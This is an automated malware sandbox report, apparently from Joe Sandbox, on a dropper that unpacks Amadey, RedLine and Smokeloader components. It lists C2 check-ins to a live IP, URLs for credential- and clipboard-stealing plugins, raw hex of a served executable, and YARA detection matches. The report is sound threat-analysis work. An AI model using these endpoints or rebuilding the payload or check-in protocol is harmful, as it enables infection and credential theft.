Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449968802027700 02/07/23-23:08:14.393779
SID:	2027700
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449761802027700 02/07/23-23:07:17.550184
SID:	2027700
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450009802027700 02/07/23-23:08:26.787937
SID:	2027700
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450342802027700 02/07/23-23:09:55.215790
SID:	2027700
Source Port:	50342
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449942802027700 02/07/23-23:08:07.961390
SID:	2027700
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449853802027700 02/07/23-23:07:43.194714
SID:	2027700
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449764802027700 02/07/23-23:07:18.587959
SID:	2027700
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450253802027700 02/07/23-23:09:33.281756
SID:	2027700
Source Port:	50253
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450431802027700 02/07/23-23:10:18.720532
SID:	2027700
Source Port:	50431
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450075802027700 02/07/23-23:08:44.816817
SID:	2027700
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450164802027700 02/07/23-23:09:07.186122
SID:	2027700
Source Port:	50164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 07 Feb 2023 22:07:01 GMTContent-Type: application/octet-streamContent-Length: 91136Last-Modified: Fri, 03 Feb 2023 17:19:21 GMTConnection: keep-aliveETag: "63dd4219-16400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

IP Address: 62.204.41.4 62.204.41.4

Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dll
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dllZkoL
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php$
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php(
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php3#
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php5C
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php79e5342a2
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php=
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpC#
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpEC:L
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpEE
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpI#
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpQ
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpUC
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpYR
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpeC
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpft
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phprundll32.exe
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpsoft
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpx

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_012086E2 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

14_2_012086E2

Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1Host: 62.204.41.4
Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1Host: 62.204.41.4

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 07 Feb 2023 22:07:00 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4

Source: unknown

HTTP traffic detected: POST /Gol478Ns/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.204.41.4Content-Length: 91Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1

Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.3.aPsf.exe.690000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.aPsf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.aPsf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.aPsf.exe.660e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.292530050.00000000006F7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D3BA2	0_2_003D3BA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D5C9E	0_2_003D5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F33BA2	1_2_00F33BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F35C9E	1_2_00F35C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00408C60	2_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0040DC11	2_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00407C3F	2_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00418CCC	2_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00406CA0	2_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_004028B0	2_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0041A4BE	2_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00418244	2_2_00418244
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00401650	2_2_00401650
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_004193C4	2_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00418788	2_2_00418788
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00402F89	2_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_004073A0	2_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_02520DB0	2_2_02520DB0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_01228530	14_2_01228530
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0122754D	14_2_0122754D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_01206F40	14_2_01206F40

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.3.aPsf.exe.690000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.aPsf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.aPsf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.aPsf.exe.660e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.292530050.00000000006F7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: Process Memory Space: mnolyk.exe PID: 5764, type: MEMORYSTR	Matched rule: webshell_php_encoded_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using some kind of eval with encoded blob to decode, score = 1d4b374d284c12db881ba42ee63ebce2759e0b14, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_003D1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F31F90

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 01215E20 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 01217CE0 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: String function: 0040E1D8 appears 44 times

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 381698 bytes, 2 files, at 0x2c +A "bPsg.exe" +A "xriv.exe", ID 1589, number 1, 18 datablocks, 0x1503 compression
Source: bPsg.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 190378 bytes, 2 files, at 0x2c +A "aPsf.exe" +A "nika.exe", ID 1549, number 1, 9 datablocks, 0x1503 compression

Source: file.exe, 00000000.00000003.254673704.0000000004709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aPsf.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/14@0/1

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_003D597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Code function: 7_2_00007FFDC87B1B10 ChangeServiceConfigA,

7_2_00007FFDC87B1B10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D4FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_003D4FE0

Source: file.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\bPsg.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\aPsf.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
